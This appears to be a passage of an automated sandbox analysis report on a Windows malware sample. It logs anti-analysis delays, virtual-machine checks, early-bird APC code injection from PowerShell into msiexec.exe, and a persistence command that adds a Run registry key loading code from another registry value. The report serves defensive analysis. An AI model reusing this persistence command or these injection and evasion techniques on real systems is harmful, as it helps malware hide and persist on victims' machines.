Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6339			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3377			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3816	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3924	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 3924	Thread sleep time: -390000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\ht58337iNC.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: ModuleAnalysisCache.2.dr	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000006.00000002.3429200540.0000000005BD5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: msiexec.exe, 00000006.00000003.3411803069.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3092891518.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357877032.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365446690.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116928532.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260899366.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419120834.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858530604.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060525171.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3373115073.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWen-GBnd
Source: msiexec.exe, 00000006.00000003.3411803069.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3092891518.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3357877032.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3365446690.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3116928532.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3260899366.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3419120834.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2858530604.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3060525171.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.3269062295.0000000005BF7000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.3429200540.0000000005C2F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ModuleAnalysisCache.2.dr	Binary or memory string: Get-NetEventVmNetworkAdapter

Source: C:\Users\user\Desktop\ht58337iNC.exe	API call chain: ExitProcess graph end node			graph_0-2837
Source: C:\Users\user\Desktop\ht58337iNC.exe	API call chain: ExitProcess graph end node			graph_0-3016

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Early bird code injection technique detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created / APC Queued / Resumed: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Thread APC queued: target process: C:\Windows\SysWOW64\msiexec.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\SysWOW64\msiexec.exe base: 3D10000

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Fotokopiering" /t REG_EXPAND_SZ /d "%Internettets% -windowstyle 1 $Tthedsfunktion=(gp -Path 'HKCU:\Software\asserts\').Alkoxide;%Internettets% ($Tthedsfunktion)"	Jump to behavior

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "fotokopiering" /t reg_expand_sz /d "%internettets% -windowstyle 1 $tthedsfunktion=(gp -path 'hkcu:\software\asserts\').alkoxide;%internettets% ($tthedsfunktion)"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c reg add hkcu\software\microsoft\windows\currentversion\run /f /v "fotokopiering" /t reg_expand_sz /d "%internettets% -windowstyle 1 $tthedsfunktion=(gp -path 'hkcu:\software\asserts\').alkoxide;%internettets% ($tthedsfunktion)"			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
